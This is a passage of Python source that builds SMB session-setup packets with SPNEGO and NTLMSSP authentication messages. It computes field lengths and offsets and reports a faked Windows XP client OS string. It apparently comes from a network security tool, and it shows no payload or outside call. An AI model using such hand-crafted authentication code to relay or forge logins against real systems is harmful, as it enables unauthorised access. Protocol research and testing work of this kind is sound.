data6 = str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data7 = str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data9 = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
## Packet len
self.fields["andxoffset"] = struct.pack("<H", len(data9)+32)
##Buff Len
self.fields["securitybloblength"] = struct.pack("<H", len(data1))
##Complete Buff Len
self.fields["bcc1"] = struct.pack("<H", len(data5))
##App Header
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(data2))
##Asn Field 1
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
##Asn Field 1
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
##SpNegoTokenLen
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
##NegoTokenInit
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10))
## Tag0 Len
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11))
## Tag0 Str Len
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
## Tag2 Len
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
## Tag3 Len
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(data7))
#########################################################################################################
class SMBSession2(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00"),
("andxoffset", "\xfa\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x01\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x59\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xbf\x00"),
("ApplicationHeaderTag","\xa1"),
("ApplicationHeaderLen","\x57"),
("AsnSecMechType","\x30"),
("AsnSecMechLen","\x55"),
("ChoosedTag","\xa2"),
("ChoosedTagLen","\x53"),
("ChoosedTag1","\x04"),
("ChoosedTag1StrLen","\x51"),
("NLMPAuthMsgSignature", "\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
("NLMPAuthMsgMessageType","\x03\x00\x00\x00"),
("NLMPAuthMsgLMChallengeLen","\x01\x00"),
("NLMPAuthMsgLMChallengeMaxLen","\x01\x00"),
("NLMPAuthMsgLMChallengeBuffOffset","\x50\x00\x00\x00"),
("NLMPAuthMsgNtChallengeResponseLen","\x00\x00"),
("NLMPAuthMsgNtChallengeResponseMaxLen","\x00\x00"),
("NLMPAuthMsgNtChallengeResponseBuffOffset","\x51\x00\x00\x00"),
("NLMPAuthMsgNtDomainNameLen","\x00\x00"),
("NLMPAuthMsgNtDomainNameMaxLen","\x00\x00"),
("NLMPAuthMsgNtDomainNameBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgNtUserNameLen","\x00\x00"),
("NLMPAuthMsgNtUserNameMaxLen","\x00\x00"),
("NLMPAuthMsgNtUserNameBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgNtWorkstationLen","\x08\x00"),
("NLMPAuthMsgNtWorkstationMaxLen","\x08\x00"),
("NLMPAuthMsgNtWorkstationBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgRandomSessionKeyMessageLen","\x00\x00"),
("NLMPAuthMsgRandomSessionKeyMessageMaxLen","\x00\x00"),
("NLMPAuthMsgRandomSessionKeyMessageBuffOffset","\x55\x00\x00\x00"),
("NLMPAuthMsgNtNegotiateFlags","\x05\x8A\x88\xa2"),
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
("NegTokenInitSeqMechMessageVersionLow","\x01"),
("NegTokenInitSeqMechMessageVersionBuilt","\x28\x0a"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NLMPAuthMsgNtDomainName",""),
("NLMPAuthMsgNtUserName",""),
("NLMPAuthMsgNtWorkstationName",""),
("NLMPAuthLMChallengeStr", "\x00"),
("NLMPAuthMsgNTLMV1ChallengeResponseStruct",""),
("NLMPAuthMsgNTerminator",""),
("nativeOs","Windows 2002 Service Pack 3 2600"),
("nativeOsterminator","\x00\x00"),
("nativelan","Windows 2002 5.1"),
("nativelanterminator","\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le')
self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le')
self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le')
self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le')
self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le')
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])
SecurityBlobLen2 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])
SecurityBlobBCC = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
CalculateUserOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])
CalculateDomainOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
CalculateWorkstationOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])
CalculateLMChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])
CalculateNTChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])
## Packet len
self.fields["andxoffset"] = struct.pack("<i", len(CompletePacketLen)+32)[:2]
##Buff Len
self.fields["securitybloblength"] = struct.pack("<i", len(SecurityBlobLen))[:2]
##Complete Buff Len
self.fields["bcc1"] = struct.pack("<i", len(SecurityBlobBCC))[:2]
## Guest len check
self.fields["ApplicationHeaderLen"] = struct.pack("<i", len(SecurityBlobLen)-2)[:1]
self.fields["AsnSecMechLen"] = struct.pack("<i", len(SecurityBlobLen)-4)[:1]
self.fields["ChoosedTagLen"] = struct.pack("<i", len(SecurityBlobLen)-6)[:1]
self.fields["ChoosedTag1StrLen"] = struct.pack("<i", len(SecurityBlobLen)-8)[:1]
##### Username Offset Calculation..######
self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = struct.pack("<i", len(CalculateUserOffset))
self.fields["NLMPAuthMsgNtUserNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
self.fields["NLMPAuthMsgNtUserNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
##### Domain Offset Calculation..######
self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = struct.pack("<i", len(CalculateDomainOffset))
self.fields["NLMPAuthMsgNtDomainNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
##### Workstation Offset Calculation..######
self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateWorkstationOffset))
self.fields["NLMPAuthMsgNtWorkstationLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
##### NT Challenge Offset Calculation..######
